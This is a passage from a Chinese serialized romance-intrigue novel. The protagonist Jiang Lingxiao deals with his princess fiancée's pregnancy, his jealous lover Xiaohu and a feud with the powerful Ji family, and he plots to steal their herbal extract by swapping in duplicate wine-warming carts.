沈戚风忙伸手扶住爹,呵斥沈丘染:“老五,爹正想推举你去做竞天公主的驸马呢。”
沈丘染哈哈大笑:“爹还不知道吧?三哥不光没死,还做了竞天的驸马!”
沈府炸锅了。
“啊?又没死成?他成精了?”
“邪门,死刑犯怎么能成驸马?”
沈万湖捂着心口,指着沈丘染的手指颤抖:“孽障,你中了什么邪,在这胡言乱语!”
沈丘染偏唱了反调,抱着紫玉满宅门转,边转边高声:“还有哪房没通知到?五爷要娶紫玉做太太喽!”
一群小孩跟在身后嘻嘻哈哈:“哦哦!五叔抱着新媳妇串门儿喽!”
沈戚风面如土色:“老三没死,还一飞冲天了,今后有咱爷俩苦果子吃。还记得他拉着两口大棺材进京吗?早就听说是给咱爷俩准备的。”
“啪”,沈万湖抽了沈戚风。
那个不死之身狱中复仇的话语,历历在耳,最怕一语成谶。
两天后,姜凌嚣已能下地,不许人扶,坚持自己走路,来到书房。
门开,白眉老太端来一碗药,“药调好了。”
她顿了顿,“您确定不要自己的孩子?”
碗中碗汤,映着姜凌嚣的影子。
纱布缠绕在脸,他的表情看不见,但眼神坚定。
不是不要自己的孩子,是不要跟别的女人的孩子。
耿正推门进来,瞥了眼药碗,意味复杂:“竞天来了。”
52. 讨好或残忍
耿正从书房出来,抬头见小虎正蹦蹦跳跳下楼,楼下传来太监独有的尖细嗓音,她俩马上就会走个面对面。
“我教你放风筝。”耿正拿过走廊挂着的风筝,一把提起小虎,三两步上楼。
刚拐到三楼,就听见二楼竞天敲姜凌嚣房门声。
小虎看看眼前一片片的屋檐,感到奇怪:“这怎么放风筝?”
耿正跃到对面房顶,飞檐走壁,毫无遮挡的上空,风筝比在地下飞得高。
小虎来了兴趣:“我也要放!”
耿正将她拽出栏杆,屋檐上连跳几番,彻底远离竞天。
书房门开,一袭华丽镶金丝银袍映入眼帘,竞天雍容庄重踏进门槛,眼神直直落在姜凌嚣身上。
见他头上手上缠满绷带,她的第一句问候不由带了颤抖:“你还好吗?”
绷带重重,姜凌嚣没有面目与表情,声音凉飕飕的没有起伏,“还好。”
竞天打量一圈室内,眼神尤其留意帘子后面。
不见小虎。她有点安慰,暂时无法清理的情敌,始终是根刺,不看到,就当没扎进心里。
她巡视一圈的眼神,最终落在白眉手中的药碗上。
此时并无时机让竞天服下这药,白眉随太监出门时,准备端走,被姜凌嚣接过去。
白眉惊了一下,关上门。
姜凌嚣垂眸看着药碗,里面缠着白色绷带的面目糊涂,只露着眼睛,没有五官,像阴鬼。
两人隔着三尺多远,她等了他片刻,他没有靠近她的意思,她径自向他走去。
他纹丝不动,但她感觉他的气场往前,不是靠近,是隔阂。
她拿起他的手,放在自己小腹,抬头望着他的眼睛,深情款款:“我们的孩子在这里。”
姜凌嚣眸光闪烁了一下,气场紊乱。
太别扭了,甚至是恶心,毫无夫妻之实,竟真存在了孩子……
这个孩子,是他求生的耻辱。
他果断端起碗,微笑:“喝了它。”
竞天吃惊地望着他,嗓音哽了一下:“这是药。”
“保胎的。”他清炯的眸子,像窗上凝固的冰晶,好看无情。
竞天眸光熄灭,拒绝:“已喝过宫中保胎药,再喝就超了。”
他顿了顿,走到花盆前,将药缓缓倒进去。
药香袅袅,充斥在两人间,填补着沉默的空白。
望着他背影的竞天,眼中飘过一丝恨意,而后她换上温婉过分的笑脸,掏出张银票。
是那张他给的那二十万两。
“玄虎堂都抵押了,到现在还没开业,你手头压根没钱。”她体贴道。
姜凌嚣拒接银票:“我的钱别人硬拿走,我不给他花的机会。是我送出去的钱,一文我也不往回拿。”
“都快是夫妻了,那我也不跟你推来让去。”竞天猛地扑进姜凌嚣怀中。
他毫无防备,差点下意识推开她。
“夫妻”一词,更是让他烦躁。
竞天环紧他的腰,撒娇地命令:“抱我!”
他的手,木然地搁在她后背,没有感情,毫无亲昵,怀抱空虚,与她隔着距离。
竞天似乎察觉不到他的冷淡,很满意地留恋在他怀中,不时抬头对他笑笑。
姜凌嚣眉头堆了个崎岖的山丘,提醒:“你出宫很久了,身子又有拖累,早点回去。”
“开始关心我了。”竞天钻出他怀里,出其不意地亲在他耳垂,“那我听你的。”
她转身离开时,瞥见姜凌嚣使劲擦拭着耳垂,门关上,她的笑容骤然消失。
他的狠毒,超过她的想象,竟让救过他命的她喝堕胎药。幸亏她是心机林立的宫中长大的。
阮太医临告老还乡前,她让他留了包堕胎药的药材,就是为了让自己记住药的气味,躲过重重暗箭。
谁知,第一发冷箭,来自孩子的父亲。
竞天咬牙切齿下楼。
竞天一走,姜凌嚣立刻开窗通风,消解她可能留下的气味。
上次只是袖子里放过竞天的簪子,就被小虎嗅出,何况拥抱!姜凌嚣忙换了袍子。
想了想不放心,连贴身衣裳也换掉。
又想起耳垂被亲过,他跑到脸盆前猛洗耳朵。
不知不觉中,他失了稳重,像个慌乱清理罪证的毛贼。
还有哪里,被竞天沾染过?他严格自我检查着,生怕遗漏。
她抓过自己的手。
可手上缠满了绷带,与皮肉贴合着,好不容易才愈合。
一旦被小虎捉到蛛丝马迹……他咬了咬牙,挑开了绷带。
绷带撕扯着新长的皮肉,他疼出一头冷汗,狠了狠心,还是拽了下来。
鲜血“吧嗒、吧嗒”滴在脸盆,洇出一片血湖。
他没有及时止血,而是让血流个干净,仿佛是对所爱之人行骗的虔诚赎罪。
放完风筝回来,路过狗笼,小虎抱出小白逗玩。
姜凌嚣在楼上看见她,兴冲冲拉她到卧房,捂着她眼睛,拥着她到帘子后面。
“什么啊,神神秘秘的?”小虎也很期待。
“看!”
桌上,两只一灰一黑的奶狗,挤在一个窝里。
小虎并没露出任何特别的兴奋,还是抱着沈丘染送的小白狗不撒手。
姜凌嚣夺走小白,塞新的狗到她怀里,热情引诱:“你不是一直想要狗吗?”
小虎表情有种从未有过的怪异,“我想养的时候你不同意,我已经有狗了,你却一下送给我两只。”
“把丘染那只还回去,我们有自己的狗。”姜凌嚣自作主张。
见她还是无动于衷,他有点心慌意乱,指着旁边的鸟笼,逗她:“今后,你就统帅两狗三鸟,成大王了。”
看到笼子,勾起一些不好的回忆,小虎的眼神变得深沉:“你曾送我的鸟笼和画眉,我在竞安宫中看到过一模一样的。”
姜凌嚣瞬间凝住,喉头噎了一噎,强装理直气壮:“那又如何?世上一模一样的东西多着呢。”
“你给我的簪子,竞天也有根一模一样的,只怕有一天,我和她分享的一模一样越来越多,包括你,是吗?”
“胡说八道!”他还在狡辩。
“反正上次我领你二哥去藏银地,就是为了报复你一心二用。”
“是沈戚风人不行,诈骗了你,我不计较你冲动犯错,但我绝没一心二用。”
小虎哼笑一声:“我怎么感觉你今天忽然上赶着送狗,是在弥补做了亏心事?不会又见了竞天吧?”
“我没有!”他脸色红白不定。
枕边人一切微小的谎言和不对劲的表情,藏也藏不住,他咬死了没有,抓不到证据,小虎扔掉新狗,抱
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回小白狗。
两只奶狗被姜凌嚣固执地留了下来,不过小虎从不招逗,只和小白狗玩,顺带着也有点冷落他。
没几天,奶狗出了满月,虽憨态可掬,实则蛮横凶狠,因争执一块骨头,围攻咬伤了体型略大的小白。
小虎气不打一处来,非要逮住两只奶狗狠狠打一顿。
两狗钻进书房,她悄悄寻摸进来,钻到两厅的隔帘后捉狗。
门猛然大开,轰轰隆隆一阵脚步声。
姜凌嚣和吕富全等人踏进来,不停地说着话,语气十分严肃紧张。
年前,玄虎丹通过限售,刚好撑到小年卖光。
年后,没有原料,陷入弹尽粮绝,迟迟未开业,白养着那么多伙计不说,抵押行的掌柜来转悠过好几次了,眼见就要收走铺子。
且忠实老客断了丹,全身的病痛压不住了,天天守在药店门口挠门,十分瘆人。
吕富全心系病患,火急火燎:“东家,过了元宵节,街上铺子可都开张了,就剩咱们还在歇业,快点张罗造丹呀。就算咱们等得起,那些患者等不起。”
姬有才把守边疆,地藏蕨汁无法入境,玄虎堂的伙计除了孙大可,无人知情丹料的秘密,只知道热火朝天做买卖,还一腔悬壶济世的慈悲心。
“还差一味原料耽搁在路上,很快就开张了。”姜凌嚣温和安抚好吕富全,将其打发走。
死鱼眼等人随后进门,姜凌嚣换了阴沉声色:“耿正呢?”
江湖上眼线有消息,逃走的陈家老大出没在京,耿正前去追踪擒拿,力图尽快挖出金牙和凶手的线索。
姜凌嚣:“玄虎堂要么关店歇业,要么找到现成的地藏蕨。”
“可地藏蕨不能天上掉下来,需求这么急,除非京城就有。”
此话一出,屋内陷入死寂,因为无解。
“我知道哪里有!”还在跟姜凌嚣置气的小虎,终于憋不住了,从帘子下钻出来。
姜凌嚣大惊失色:“你什么都不懂,不许掺和。”
“切,不就是拿地藏蕨炼丹嘛,你以为我真不知道?就算一开始不懂,跟你这么久,你在偷偷摸摸做什么,我心里也有数了。”
欺瞒了她那么久,竭尽全力不让她卷进自己的罪行中,还是失败了。姜凌嚣震惊、悔恨到失语。
小虎抓起书桌上纸笔,画下姬家酒窖的地形图。
酒窖三层,分不同的摆放区,她指着最底层的一个地方,画个圈:“你们想要的东西就在这里,用酒坛装着。”
姬有德曾炫耀过如何通过拜基和亲队运地藏蕨汁进京,如何掉包,小虎眉飞色舞转述,大胆建议:“抢了!正好报复姬老贼!”
所有人使出一致赞同的眼色。
谁知,姜凌嚣卷起地形图,扔到一边,并不在意:“姬家重兵把守,连个苍蝇也飞不进去,不会发生私闯酒窖盗窃的事。”
他又刻意叮嘱她:“冤家易结不易解,我们好不容易再换得今日安宁,所以你也要跟我一样,忘记和姬家的仇恨。”
“姬无心吃我肉,扒你皮,杀我爹娘,那么大仇,你不报?窝囊废!”小虎气地摔门而出。
招风耳也当真了:“我们真就放过姬家?”
姜凌嚣变脸,“那是说给她听的。”
他两指夹起刚才摒弃的地形图,眼中泛起凌厉的萧杀:“就用这个开张。”
53. “和尚”
特赦姜凌嚣后,姬无心多次要求朱帝收回成命,均失败;
加上竞天婚期将定,他索性不再干涉这门亲事,反倒泡在军营蓄势。
很快,沈丘染因圈禁期间私自出逃,还有劫法场的嫌疑,以违抗圣旨论处,革去原职,旧部下被姬家掌管,姬家军势力膨胀。
仇杀已结,姬无心必将反扑,姜凌嚣死里逃生,比之前变本加厉迎难而上,偏就要定了姬家的地藏蕨汁。
但姬府重兵把守,别说酒窖,府上方圆五十米内都不得靠近。
姬无心生性狡诈多疑,心思缜密,震慑下人非常有一套,难以买通府内人里应外合。
野心勃勃,却无从下手,姜凌嚣开始大把脱发。
一开始,他无法接受,生怕小虎看到又嫌弃他,恨不得把头发重新接回头皮。
后来,他想通了,反正痊愈后早晚长回来,还不如坦坦荡荡接受暂时的不完美。
他索性找了把剃刀,站到铜镜前,亲自下手。
坚韧黝黑的长发,一缕一缕掉在地上,堆成一座黑山。
铜镜中,斯文败类换成一个气质清绝冷凛的行僧,面目也变了,温和荡然无存,杀伐难掩。
镜中人朝他宣誓:
二次死里逃生,任何仇人,障碍,都不能再轻易放过。
小虎剥着橘子进门,看到光头的姜凌嚣,一愣。
他的冷硬被她盯得分崩离析,甚至有点不知所措:“不好看吗?”
她踮脚,伸手摸摸他头皮,指腹滑过上面新结的痂,“疼吗?”
居然不是嫌他,嘲讽他,他感动得无以复加:“不疼。”
听她嘴里的动静,橘子肉咽下去了,核在齿间打转,他立刻伸手,在她嘴边接着。
“吐啊。”
“噗”,橘子核到了他掌心里。
他感到温热的黏腻,像蜜糖,从手甜到脸上,笑容不由自主。
“啧啧啧”,倚在门口的沈丘染,抱着几个礼盒,发出打趣声。
小虎跑出门玩狗去了,姜凌嚣将吐了橘子核的手背到身后,变回一本正经:“你怎么来了?”
“来看看你好些了吗?”沈丘染打量着姜凌嚣,目瞪口呆:“三哥,完全变了个人。”
曾经儒雅的气质荡然无存,尤其眼神不再温和,生满倒刺,看一眼别人就要刮拉下半斤肉似的。
姜凌嚣牵唇一笑自带三分邪:“人都会变。”
男人凑一起聊天,免不了天南海北。
以往,鉴于姜凌嚣跟朝廷毫无瓜葛,沈丘染不太跟他聊朝中事。
而今,姜凌嚣上来就对朝中诸事直抒胸臆,有些看法甚至颇为锋利刺耳,沈丘染听得一脸难色,笑声有点干:
“三哥现在是准驸马,半只脚踏进了朝廷,果然眼界跟以往不一样了啊,呵呵。”
当初,费尽心思做丹,就是为了打入朝廷,挖出凶手,尽管过程有所偏颇,自己还是做到了。
姜凌嚣忽然意识到驸马这个身份的妙不可言,对沈将军也有了平起平坐的安慰感。
朝廷虽然有些做派,沈丘染也看不惯,但他是个忠臣,尚能体谅其尾大不掉的难处,他没有附和,而是转了话锋。
他道,姬有才要回京探亲,人还没回来,请柬已发出一大堆。
姬有德死后,姬家必然要凝聚势力,一致对外。
显而易见,他们两兄弟应该最先被针对。
鬼门关走过两次,不会再有怕的人,也无甚顾忌事了,姜凌嚣只在乎怎么达成目的。
大宴是人最多、最热闹也是最容易出纰漏的时候,上天创造盗窃地藏蕨的机会,该怎么找到下手的突破口呢?……
沈丘染的中气十足突然化为羞羞答答:“今天我来的主要目的是……我跟紫玉要成亲了,想找三哥定个吉日。”
姜凌嚣眉头拧成个山峰:“你和紫玉?什么时候有感情了?”
“走南闯北的,朝夕相处,我也说不清是具体的哪一刻,她就在我心里生根了。该死的姬老贼,害她没了父母,我得给她个家。”
提起紫玉,沈丘染嗓门也不大了,表情也不粗犷了,散发着前所未有的成熟稳重:
“虽说我叛了规矩,不讲究门当户对,不遵从父母之命,但还是要有个长辈的祝福,所以,成亲日子由三哥定吧。”
姜凌嚣眉头松懈:“好。”
沈丘染喜笑颜开:“这下咱俩都要做新郎了。”
姜凌嚣脸色骤变。
次日,朱帝召姜凌嚣进宫,对他的伤势不闻不问,而是现在国库亏空,入不敷出,不能让他白捡了条命,得个公主和孩子,还要赐他座驸马府。
意思是,要当驸马,得出钱,暗中买下朝廷“赐”的驸马府,才能定下婚期。
还要尽快,不然拖一天,竞天的肚子就大一天,让个女人替他蒙羞。
朱帝光顾着搂钱,太后可是考虑着自己女儿:“女人怀了孕,身子总有不太平,你去看看公主。”
姜凌嚣只得遵命,来到竞安宫。
新晋驸马从前匆匆一瞥,是个温和斯文的人,宫人们私底下热切议论过,甚至有拿他暗中思春的宫女。
如今他气质大变,杀伐凛冽,宫人们小心翼翼退避三舍。
突然光顾,竞天甚是意外,盯着姜凌嚣的光头:“你怎么变成这副模样?”
他随口回:“不好看吗?”
这句话像是在意她的看法,那日恨意突然就烟消云散,竞天霎时红了脸:“怎么会,你可和不好看不沾边。”
姜凌嚣不过是礼尚往来的寒暄:“你比前些天清减了几分。”
他竟记得自己的身形,竞天脸上发烫,抚了抚腰,沮丧地撒娇:“可是这里有点粗了。”
宫人们忙低下头,悄声退去。
殿内空了,空气却氤氲到粘稠。竞天指着桌上的贡橘,温柔地命令:“给我剥一个。”
袍子一撩,姜凌嚣潇洒落座,剥橘子总比情意绵绵的应付令他好受些。
来都来了,他不打算白白遭受一番周旋,闲聊似的套问:“你表哥姬有才要回来,姬家大宴,你去不去?”
你你你的,没有其他男人对公主的敬畏,说明他理所当然地把她当自己的女人,孩子的母亲。
竞天直接坐在他身边,抱住他胳膊:“不去。”
姜凌嚣挺直腰背,微微往后撤,“是他们不请你,还是你不肯去?”
“我不想去!他们······”
想起撞见姬无心在家吃人肉,还是吃的他养在身边的女人,竞天噤声。
姜凌嚣敏锐,睨向她。
竞天警惕:“好不容易看在孩子的面上,你才死里逃生,不会有第二次这样的机会。姬家现在严防死守的厉害,兵训练有素,你若去报仇,只是鸡蛋碰石头!”
“我不会做鸡蛋的。随便聊聊而已,我只是好奇,姬家请客得需要多少酒?听说半个京城的人都被邀请了。”
竞天这才放下心:“他们家有个很大的酒窖,只怕比酒庄的酒还多。
皇帝还是太子的时候,有年元宵节,我俩住在姬家,晚上大人们喝酒,姬家索性雇了几辆温酒车,从酒窖一车一车往餐厅拉酒。”
姜凌嚣来了兴致:“温酒车?我第一次听。”
“对啊,我也第一次见。”他有兴致听,她便有更大的兴致讲。
是跃千里车行专门为姬家定制的,逢节日就派上用场。
姬家酒窖大,从里面往外运酒需要点时间,客人多又等不及烫酒,索性用车温酒。
充了热水在车箱里,酒坛放进去,车子推到餐厅,酒也烫好了,免去了再烫的容器和时间。
竞天津津乐道:“相反夏天的时候,温酒车也可以充冰水,冰点花果酒、甜酒什么的,喝起来清凉舒爽,沁人心脾。”
姜凌嚣感喟:“我以为大商活得够舒坦的了,但跟皇亲国戚的豪奢比起来,小巫见大巫。”
“你以后也是大巫。”竞天摸摸肚子,“父凭子贵。”
姜凌嚣的笑僵在脸上,指间的橘瓣实在剥无可剥了,他才递给竞天。
“啊——”竞天不接,张嘴。
姜凌嚣顿了顿,捏住橘瓣一角,略微隔空投进竞天嘴里,生怕手指碰到她的嘴。
然后,他别过头,手自然地接在她嘴巴下。
等了片刻,他头也不抬地催:“吐籽儿啊,每次都不知道吐,必须跟要账似的······”
他戛然而止,竞天脸色变得很难看。
熟练的下意识
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,是在别的女人那里习得的。
甚至只有错把她当成别人的这瞬间,他的声音才带了柔情。
“进贡的橘子,没有核。”橘子的甜,也遮不住话语里的酸涩。
没有爱意的醋,只会蛰的人不舒服,令他没有调蜜的耐心。
姜凌嚣收回手,起身告别,姿态恢复进门时的生硬。
竞天很想告诉他,只要他抱一下她,连歉意都不必表达,她就能立刻原谅他。
但他转身那样干脆,走得斩钉截铁。
望着他远去的背影,竞天撩着殿门口的暖帘,寒风直往殿里灌,钻进袖口,冻遍全身,直把心也冻疼,冻碎。
从宫中回到客栈,姜凌嚣上楼,与小炸药碰了个面对面。
“东家。”小炸药嗓子干哑,表情闪烁。
朝姬有德出卖小虎似妖非人,害她吃了苦头,姜凌嚣还没腾出空找小炸药算账。
姜凌嚣背着手,缓慢而阴沉地朝小炸药踱步,一步一步,直把他逼到无路可退,小腿贴到了走廊里生得正红火的铁炉子上。
两道沉重的目光,像两座坟压在小炸药头顶,欲将人从头活埋,小炸药一动也不敢动。
炉子发出“滋滋滋”烤肉出油的声音,空气中弥漫起难闻的焦糊味。
小炸药疼得浑身发抖,快要昏厥时,冷面活阎王才肯离开,小炸药忙翻起裤子,整条小腿烤熟了一半。
出狱后的姜凌嚣,扒了层皮,狠戾露骨,从他身上收走了东家对伙计的那份宽恤。
今日灼烤他,不过是姜凌嚣送他的“开胃小菜”,伤害了他女人,更大的折腾在后面。
月上梢头,盘完账的姜凌嚣回卧房睡觉,发现小虎不在,四下寻找,才在隔壁房发现她已抱着狗躺在美人榻上。
还在因为之前鸟笼、簪子的事置气,两人心知肚明。
姜凌嚣俯身,嘴凑在她耳边,轻声:“跟我捉迷藏呢是吧?我找到你了哦。”
装,她心底嗤笑。
他挠挠她腰窝,轻佻:“是不是长肉肉了?”
她还是不理他,手里只管摸狗。
他一手箍住她腰,一手行云流水的在她身上游走,在她耳边吹起热息:“自我出狱,我们还没有过呢。”
小虎闭上眼,身子僵直。
他放弃了言语哄人,吃醋地拨开她怀里的狗,落吻在她颈间。
小虎无动于衷,重新搂回狗在怀,“你身上有我不喜欢的气息。”
“我已经换过衣服了!”
话音刚落,姜凌嚣才察觉这句话是自我出卖,忙修正:“我是说我沐浴过,换了干净衣服,不会有,”
他咽下差点脱口而出的“竞天”,“不会有——你不喜欢的味道。”
小虎冷哼一声。
姜凌嚣受不了她冷漠的样子,气急败坏地要强迫她有所回应,扭在一起时,他的身子扯到了旁边的睡帘。
“哧啦”,帘子上老化的裂痕撕成个大洞。
姜凌嚣企图修补洞口,往回一拽,又是“哧啦”一声,帘子沉底裂为两片。
小虎翻个白眼,刺了姜凌嚣一句:“谎言里的漏洞,像老旧床帘上的漏洞,越补越大。”
阴阳怪气刺的他上了拧,他挤到榻上,抻开她胳膊搂住自己,死皮赖脸:“换条狗抱抱。”
小虎气笑了:“你自己说的,你是狗,叫两声给我听。”
她笑了,他又不认账了:“我说你是小狗。”
“你才是!叫两声!”她捶他,他马上翻身把她压在身下,“喜欢听我叫,那一会儿我叫给你听,你别淹死我。”
“你要不要脸!”
她越挣扎,越激起他的征服欲,她摸到他的头皮,“你是和尚,也能六根不净?”
一声“和尚”,更带来突破禁忌的刺激,姜凌嚣一把扯开她一条腿,搭到椅背上,另一条腿扯到扶手。
……
他遵守了刚才的诺言,在她耳边,发出些低沉又夸张的声音。
她忍受不了他的f荡,伸手捂他的嘴。
门外,走廊里,炉子上的水壶开了,没有人来拿走,水壶就一直发出鸣叫,滚水从壶嘴噗出来。
姜凌嚣坏笑:“像不像你?”
他瞬间被烫了一下。
54. 温酒车
业界同仁因自己而遭受姬家迫害,姜凌嚣面目恢复到能出门后,一家家谢过去。
他掏空了账面上所有的银子,甚至以驸马名义借了印子钱,为签过万民愿的同仁修缮被砸的家,承担“意外被撞”的医疗费。
弥补虽厚道,但总有些无法力挽的物是人非。
尤其秦会长,因惊吓摔跤,伤好了也变成了手抖嘴歪,本中气十足、器宇轩昂的一个人,现在说话舌头打弯:“肥奈了皱好,好伦不该鸡鸭在狱啊······”
都是因为姬无心,老人家才变成了这样,姜凌嚣忍住眼角欲滴的酸涩,握着秦会长的手掌很有分量,“请会长放心,您和业界同仁的仇,我姜凌嚣就是死,也一定为你们报了。”
除掉姬无心,暂时是不可能的,但可以偷出地藏蕨汁,给姬无心一个深刻的教训。
不过,怎样才能顺利无虞做到呢?
回到客栈书房,姜凌嚣对着小虎画的姬家酒窖地形图,研究半天,心中还是一团乱麻。
“吱”,门开,小虎一手拿着一个骰盅进来,兴冲冲跑向书桌:“客栈小二教我一个魔术,我变你看。”
姜凌嚣赶忙收起地形图,给她腾出桌子。
小虎举起一枚铜板,“喏,看清了,我现在放在这个盅里,晃晃晃,换换换——”
两只骰盅飞速交换着位置。
姜凌嚣眼力身手灵活,骰盅一停,他就知道铜板在她左手的骰盅里,但考虑到她就喜欢赢,故意指着她右手的骰盅,“在这里。”
“哈哈,你输了!”她笑得前仰后合。
他因为她的开心,也忍不住笑了,郁结暂时烟消云散,他从笔筒下悄悄抹出一枚铜板,遮掩在大拇指下,拿起两个骰盅,“你这不叫魔术,看我给你变一个。”
“好,你摇我猜!”小虎盯紧了筛盅。
“哗啦哗啦”,骰盅摇来摇去,位置换来换去,最终,他停住,重新制定开盅规则:“你告诉我,哪个没有。”
她指着他右手,十分肯定:“这个没有。”
“你有一次更改的机会哦。”
“坚决不改!”
右手开盅,有一枚铜板。
“啊?”小虎傻眼。
姜凌嚣坏笑。
“再来再来!”
姜凌嚣柔声:“输了不能急眼哦。”
“愿赌服输!”小虎扒了外衣,双手扣紧桌子,眉目紧绷,盯牢了骰盅。
又开几轮,她还是输。
她懵了:“我明明看清了的。”
姜凌嚣哈哈大笑。
她摁住两个骰盅,全翻开,竟然一边一枚铜板,她拍了桌子:“狗东西,你敢使诈!”
她跳到桌子上,蹲成老虎状,发出“嗷”的一声,猛地朝他扑来。
他将她稳稳接住,笑声不止:“我这叫障眼法。”
“你就最会障眼法,今儿拿个一模一样的铜板糊弄我,明儿说不定拿什么一模一样的东西糊弄别人!”
“怎么糊弄,嗯?”他点点她鼻尖,不把她的嗔怪当真。
“谁知道你,有出戏叫什么来着?狸猫换太子!”
他故作不懂:“还懂戏了,给我解释解释。”
“好比是你小子想偷人家孩子了,不对,是太子,但又不敢明目张胆,只能趁人不注意,把你的猫藏到太子住的摇篮里。
等别人发现猫的时候,太子早不见了!说白了,就是置换!”
她自顾自痛快说着,他脸色渐渐不对了,像是心思飞到了别处。
“你怎么了?”她勾勾他下巴,新长出的胡茬有点扎手,痒痒的,她开始拿他胡茬蹭手背玩儿,剐蹭到他新长出的伤疤,他也顾不上疼,放她下地,敛色:“我还有正事。”
很快,耿正被叫进书房,听令姜凌嚣的密谋,就从温酒车下手,来个狸猫换太子。
不到一个时辰,耿正已打探消息回来。
跃千里车行只有三辆温酒车,需求小众,专供姬家,故无多余车辆可雇,且事关位高权重的姬家,车行掌柜的戒备心很强,连看温酒车都不让。
烛光下,姜凌嚣踱来踱去,墙上的黑影逐渐变大,膨胀,遮天,眉目阴暗无情:“事到如今,不能允许一个车行掌柜的挡住我们的路。”
难题转移到耿正那里,他永远都能想出个对策。
西街小酒馆里,支着几张简陋的桌椅,一般来喝酒吃个小菜的,便在这里。
里面还有个小间,被跃千里车行掌柜毕马温常年包下,用来和熟人赌博。
他天天赌,但赌得又极为克制,只玩一次一吊钱的码,且一晚只要输两次,绝不再玩。
这几天,一个身形魁梧跛脚的“无耳男”天天来,次次输给毕马温,让他手气大转。
一来二去,两人混成了赌友加酒友,越聊越投机,最后拜了把子,认了干兄弟。
毕马温是性情中人,喝了酒就领着无耳干兄弟去车行看了温酒车,甚至造车用什么木料、工艺都抖露了个干净。
干兄弟回到玄虎堂后院,带着真兄弟们复刻出一模一样的温酒车。
所有人击掌欢呼。
立了功,姜凌嚣亲自拿来一瓶药膏,给招风耳擦伤口。
为了遮藏起那对异于常人的招风耳,用胶布粘了撕,撕了粘,耳朵周边的皮都破了。鞋里撒了豆子装跛脚,也硌起了水泡。
只有耿正耷拉着老脸,姜凌嚣走过来,仔细打量,抚摸温酒车,“还有什么问题?”
耿正:“假。”
姜凌嚣脸色一变,下令:“做旧。”
车面经过烤火、打磨、刷油、剥漆,重新落地,像是保养得当却用过很多年的一样,没有一眼假的崭新了。
温酒车是复刻出来了,但怎么让复刻的车混进姬家,又怎么安全出来,成了难题。
想来想去,和姬家沾边,又能为己所用的,只有竞天。
姜凌嚣求成心切,背着小虎,以探望竞天的借口,被允进宫。
不请自来的探望,竞天先是惊喜,继而清醒,他一定有目的,但她故作无知,还告诉他一个消息:“太医又来诊过脉了。”
姜凌嚣眼神下移,竞天并不显怀,一阵窃喜掠过心头,“孩子没了?”
竞天眼神复杂地望着姜凌嚣,冷笑:“才利用完孩子换回命,就这么想除掉它们?”
他压根顾不上反驳除掉的话,拧眉:“它们?”
“前几天脉象微弱,诊不出来,现在确定了,是双生子。”
姜凌嚣喉头像卡住了根鱼刺,喉结使劲吞咽几下,刺扎进了心肠。
不知道双生子堕起来,会不会比单个的麻烦……
“你在想什么?”竞天轻捏住他下巴。
“疼。”他嗞了一声,用疼痛和受伤博取了竞天的同情心,使她不再与他计较对孩子的不感兴趣。
她可不是什么好糊弄的小家碧玉,由着男人作弄,她朝他撒娇,让他抱,引他说些温柔的情话。
姜凌嚣耐着性子,陪着竞天演了半天,说了几句言不由衷,就转移到姬家大宴上。
眼见他快失去耐心了,竞天适时的见好就收,手臂缠在他腰上,“不就是打听姬家宴请的详细消息嘛,小意思。”
刚达到目的,他便待不下去了,托词玄虎堂还有要事。
竞天笑意盈盈挽着他的胳膊,送到竞安宫门外,替他理理衣襟,他毫无留恋转身离开,她也没有拖泥带水回宫。
她不怕被他利用,他利用她一次,她就像蛇一样缠绕将他禁锢一寸,做公主的,岂能让驸马玩弄于鼓掌。
或许有那样的废物公主,但一定不是可以胳膊拧过了大腿,没有让朝廷择婿,自作主
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张圆了心愿的她。
不几天,姬有才回京,进宫探望皇姑母。
依照他的性子,不用竞天召见,他也会自动前来拜访。
这日,竞天正在竞安宫逗画眉,听见暖殿外一阵嬉笑,宫女们娇声嗔怪:“您真是越来越会逗趣儿了!”
门口有面落地黄铜穿衣镜,斜冲着门口,竞天这个角度望过去,正好能将门外看个清楚。
姬有才将一枝花放在宫女耳后,然后俯身到宫女肩头,吹口气,花不见了,他捏出一副崭新的耳坠,替宫女戴上。
竞安宫人人都被他哄个晕头转向,他就是有本事让他毫不在意的人也觉得自己很重要,哪怕是无足轻重的宫女和太监。
在外挥洒完魅力,姬有才矫健地踏进暖殿,刚见到竞天就拍拍袖子跪下,行君臣之礼。
竞天免礼后,他展开双臂,笑容灿烂的一把将她抱住,热泪盈眶:“表妹,许久不见,你还好吗?”
说完,便松手,不会让人感到拥抱的不适。
竞天觉得脖子上一凉,低头一看,一条剔透的珠宝项链已戴在脖子上,还是子母链。
姬有才拍了下自己肚子,挑挑眉:“祝福你双喜临门。”
外面都在背地里嗤笑她未婚先孕,只有姬有才如此真挚祝福自己,竞天颇为感动。
他为人热情,礼数周到,让人指摘不出任何,长得也是一表人才,是姬家最好看的年轻人,竞天自然不像对待姬有德那样,也笑着回他:“表哥在外也好吧?”
代理太守这些日子,姬有才整治了于克明遗留的衙门,亲自带领当地百姓采收山货,输往各地,换购粮食,解决了战争后爆发的饥饿,避免了更大的灾荒和祸乱。
姬有才意气风发,干劲满满:“开春后,我还要跟百姓一起栽种水稻,建房子,不出两年,百姓一定能过上比之前更好的日子!
瞧我这身衣裳,是当地百姓一起缝好送给我的。”
他身着一半红、一半白的夹袄,又艳又素,十分醒目,一般官员是不会穿这么“不上台面”的衣裳的,但他不嫌弃。
“表哥真不负朝廷重托,皇帝所望,又深受百姓爱戴,真是个难得的人才。”
“表妹才是女中豪杰,只是困宥于女儿身,不得参政,否则十个男儿也比不过你。真是世道为公,委屈了女人!”
竞天叹口气:“你果然是见过世面,说出的话跟朝廷中的老朽都不一样,简直清新。对了,你回来,自然要为你接风洗尘,定好日子了吗?”
“二月二,得胜酒楼。你也来,好不好?我们一家人团聚。”
得,竞天想问的话,姬有才心直口快全自爆了,省得多费口舌了。
不到天黑,阮太医的徒弟司空深前来竞安宫看诊,竞天只顾玩骰子。
晚上,姜凌嚣在玄虎堂盘账还没走,就收到了司空深的密函。
姬家请客的时间、路线掌握了,道具,人员安插全部筹之以熟,只等二月二到来动手。
账房里,吕富全在炉子旁换药,绷带刚拆开,脑壳上露出一道又宽又深的凹痕,像道大裂谷,周围结满了血痂。
也就是白眉医救及时,换个大夫,这么严重的砸伤,早死了。
都伤成了这样,吕富全还是住在店里,生怕姬家来捣鬼,毁了姜家基业。
姜凌嚣看着吕富全,捏着密函的手有点抖。
姬无心所站的权力位置,仅次于朱帝,他们之所以能站到高处,是因为底下千千万万的百姓被奴役着。
仅盗窃出姬家的地藏蕨,未免太便宜了那个老不死的。
动摇权力,就要动摇他所踩踏的民心根基,一点一点瓦解。
